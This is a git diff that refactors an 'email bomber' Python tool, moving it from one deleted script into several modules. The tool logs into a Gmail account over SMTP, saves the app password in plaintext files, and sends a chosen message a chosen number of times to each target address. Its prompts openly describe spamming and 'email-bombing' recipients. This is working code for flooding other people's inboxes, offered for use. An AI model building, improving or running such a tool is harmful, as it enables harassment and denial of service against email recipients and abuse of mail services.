diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..3a461f2 --- /dev/null +++ b/.gitignore @@ -0,0 +1,3 @@ +.idea/ +User_Credentials/ +__pycache__ \ No newline at end of file diff --git a/Dockerfile b/Dockerfile index a12c12d..b49de43 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,8 @@ FROM python:3.10.12-alpine RUN apk update WORKDIR /emailbomber -COPY emailbomber.py emailbomber.py + +COPY src/ ./src/ +COPY main.py . COPY ./Welcome/welcome.txt ./Welcome/welcome.txt -CMD "python" "emailbomber.py" +CMD ["python", "main.py"] diff --git a/emailbomber.py b/emailbomber.py deleted file mode 100644 index 266a7cf..0000000 --- a/emailbomber.py +++ /dev/null @@ -1,89 +0,0 @@ -# Built-in libraries -import smtplib -import getpass -from os import access, path, mkdir -from email.message import EmailMessage - -# Welcomes user -print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") - -# User inputs -if not path.exists("User_Credentials"): - # If User_Credentials does not exist, asks for user credentials - sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") - app_password = getpass.getpass("Enter the app's password (xxxx xxxx xxxx xxxx) -> ") -else: - # Otherwise, reads saved user credentials - sender = open("User_Credentials/sender.txt", "rt").read() - app_password = open("User_Credentials/app_password.txt", "rt").read() - -print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") - -# Enter the email(s) that you would like to email-bomb -receiver = input("Specify the email(s) you would like to email-bomb -> ") - -# Enter the subject for the emails -subject = input("Enter the subject for your email-bomber message -> ") - -# Enter the message that the email user(s) will receive -msg = input("Enter your email-bomber message -> ") - -message = EmailMessage() -message.set_content(msg, subtype="plain", charset='us-ascii') -message["Subject"] = subject # Set the subject for the email - -# Loop until a valid count value is given -while True: - try: - count = int(input("Enter a number for the amount of emails to be sent -> ")) - except ValueError: - print("Please enter an integer for the amount of emails to be sent.") - except KeyboardInterrupt: - print("Goodbye!") - quit() - - if count <= 0: - print("Count must be positive. Received", count) - continue - break - -# Server -server = smtplib.SMTP("smtp.gmail.com", 587) -server.starttls() - -# Attempts to log in to the user's Gmail account -try: - server.login(user=sender, password=app_password) -except smtplib.SMTPAuthenticationError as error: - print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.") - print(f"{error}") - input("Enter to exit...") - quit() - -try: - if not path.exists("User_Credentials"): - # If user credentials do not exist, create and save credential files - # If there are no errors in credentials, save user information after SMTP verification - mkdir("User_Credentials") - open("User_Credentials/sender.txt", "xt").write(sender) - open("User_Credentials/app_password.txt", "xt").write(app_password) - input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...") -except OSError: - print("\nError: There was an error saving your credentials.") - -print("\nEmail-bomber has started...\n") - -for i in range(count): - # Amount of messages to be sent - for email_receiver in receiver.split(","): - # Loops through emails to send emails to - try: - print(f"Email-bombing {email_receiver}...") - server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string()) - print("Email sent successfully!") - except smtplib.SMTPException as error: - print(f"Error: {error}") - continue - -input("\nEmail-bomber was successful...\nPress enter to exit...") -server.close() diff --git a/main.py b/main.py new file mode 100644 index 0000000..995ccf7 --- /dev/null +++ b/main.py @@ -0,0 +1,9 @@ +from src.emailbomber import email_bomber + + +def main(): + email_bomber() + + +if __name__ == "__main__": + main() diff --git a/src/authentication.py b/src/authentication.py new file mode 100644 index 0000000..809a9e2 --- /dev/null +++ b/src/authentication.py @@ -0,0 +1,14 @@ +import smtplib + + +def login_to_smtp(server, sender, app_password): + """ + logs into the SMTP server. + Returns: + smtplib.SMTP: authenticated SMTP server object + """ + try: + server.login(sender, app_password) + except smtplib.SMTPAuthenticationError as e: + raise smtplib.SMTPAuthenticationError(e.smtp_code,"Login failed: Check your email or app password.") from e + return server diff --git a/src/crendentials.py b/src/crendentials.py new file mode 100644 index 0000000..d9499f6 --- /dev/null +++ b/src/crendentials.py @@ -0,0 +1,50 @@ +import getpass +import os.path +from os import path, mkdir + +CREDENTIALS_DIR = "User_Credentials" + + +def get_credentials(dir_name=CREDENTIALS_DIR): + """ + Loads sender email and app password from file if exists, + otherwise prompts the user to input and saves them. + Returns: + tuple: sender_email, app_password + """ + parent_dir = os.path.abspath(os.getcwd()) + file_path = os.path.join(parent_dir, dir_name) + if not path.exists(file_path): + sender = input("Enter your Gmail address (example@gmail.com): ") + app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") + else: + with open(f"{file_path}/sender.txt", "r") as sender_file: + sender = sender_file.read() + with open(f"{file_path}/app_password.txt", "r") as password_file: + app_password = password_file.read() + print("\nCredentials Loaded successfully.") + + return sender, app_password + + +def save_credentials(sender, app_password, dir_name=CREDENTIALS_DIR): + """ + Saves sender email and app password into file if exists. + Create a file if it doesn't exist. + :param sender: email address + :param app_password: app password + :param dir_name: directory to save credentials + :return: None + """ + parent_dir = os.path.abspath(os.getcwd()) + file_path = os.path.join(parent_dir, dir_name) + try: + if not path.exists(file_path): + mkdir(file_path) + with open(f"{file_path}/sender.txt", "w") as sender_file: + sender_file.write(sender) + with open(f"{file_path}/app_password.txt", "w") as password_file: + password_file.write(app_password) + print("\nCredentials saved successfully.") + except OSError as e: + raise OSError(f"Error saving credentials: {e}") diff --git a/src/e_mail.py b/src/e_mail.py new file mode 100644 index 0000000..53ce993 --- /dev/null +++ b/src/e_mail.py @@ -0,0 +1,55 @@ +import smtplib +from email.message import EmailMessage + + +def get_email_details(): + """ + Prompts the user for recipients, subject, message, and count. + Returns: + tuple: recipients, subject, message_body, email_count + """ + print( + "If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)\n") + recipients = input( + "Specify the email(s) you would like to email-bomb (comma-separated) -> " + ).replace(" ", "").split(",") + subject = input("Enter the email subject: ") + msg = input("Enter the email message: ") + + while True: + try: + count = int(input("Enter the number of times to send each email: ")) + if count <= 0: + raise ValueError("Count must be positive.") + break + except ValueError as e: + raise ValueError(f"Invalid input: {e}") + + return recipients, subject, msg, count + + +def create_email(subject, body): + """ + Creates an EmailMessage object. + Returns: + EmailMessage: the constructed message + """ + msg = EmailMessage() + msg["Subject"] = subject + msg.set_content(body, subtype="plain", charset="us-ascii") + return msg + + +def send_bulk_emails(server, sender, recipients, msg, count): + """ + Sends emails using the authenticated SMTP server. + """ + print("\nSending emails...\n") + for _ in range(count): + for recipient in recipients: + try: + print(f"Sending to {recipient}...") + server.sendmail(sender, recipient, msg.as_string()) + print("Sent successfully!") + except smtplib.SMTPException as e: + raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}") diff --git a/src/emailbomber.py b/src/emailbomber.py new file mode 100644 index 0000000..fb97bde --- /dev/null +++ b/src/emailbomber.py @@ -0,0 +1,39 @@ +import smtplib +from src.server import get_server +from src.load_welcome import display_welcome +from src.authentication import login_to_smtp +from src.crendentials import get_credentials, save_credentials +from src.e_mail import get_email_details, create_email, send_bulk_emails + + +def email_bomber(): + display_welcome() + sender, app_password = get_credentials() + + server = None + try: + server = get_server() + if server: + server = login_to_smtp(server, sender, app_password) + save_credentials(sender, app_password) + recipients, subject, body, count = get_email_details() + msg = create_email(subject, body) + send_bulk_emails(server, sender, recipients, msg, count) + print("Email Bombing process completed successfully.") + except smtplib.SMTPConnectError as e: + print(f"SMTP Connect error: {e}") + except smtplib.SMTPAuthenticationError as e: + print(f"SMTP authentication error: {e}") + except ValueError as e: + print(f"ValueError: {e}") + except smtplib.SMTPException as e: + print(f"SMTP error: {e}") + except Exception as e: + print(f"Unknown error: {e}") + finally: + if server: + server.close() + print("\nDisconnected from SMTP server.") + print("Email Bomber closing...") + else: + print("\nEmail process aborted due to connection/login failure.") diff --git a/src/load_welcome.py b/src/load_welcome.py new file mode 100644 index 0000000..242a6fe --- /dev/null +++ b/src/load_welcome.py @@ -0,0 +1,14 @@ +import os + +WELCOME_FILE = r"Welcome/welcome.txt" + + +def display_welcome(filepath=WELCOME_FILE): + """Displays the welcome message from a file.""" + parent_dir = os.path.abspath(os.getcwd()) + filepath = os.path.join(parent_dir, filepath) + try: + with open(filepath, encoding="utf-8") as file: + print(f"{file.read()}\n\n") + except FileNotFoundError: + raise FileNotFoundError("Welcome file not found.") diff --git a/src/server.py b/src/server.py new file mode 100644 index 0000000..ce66819 --- /dev/null +++ b/src/server.py @@ -0,0 +1,13 @@ +import smtplib + +SMTP_SERVER = "smtp.gmail.com" +SMTP_PORT = 587 + + +def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT): + try: + server = smtplib.SMTP(smtp_server, smtp_port) + server.starttls() + except smtplib.SMTPConnectError as e: + raise smtplib.SMTPConnectError(e.smtp_code, f"Connection failed: {e}") + return server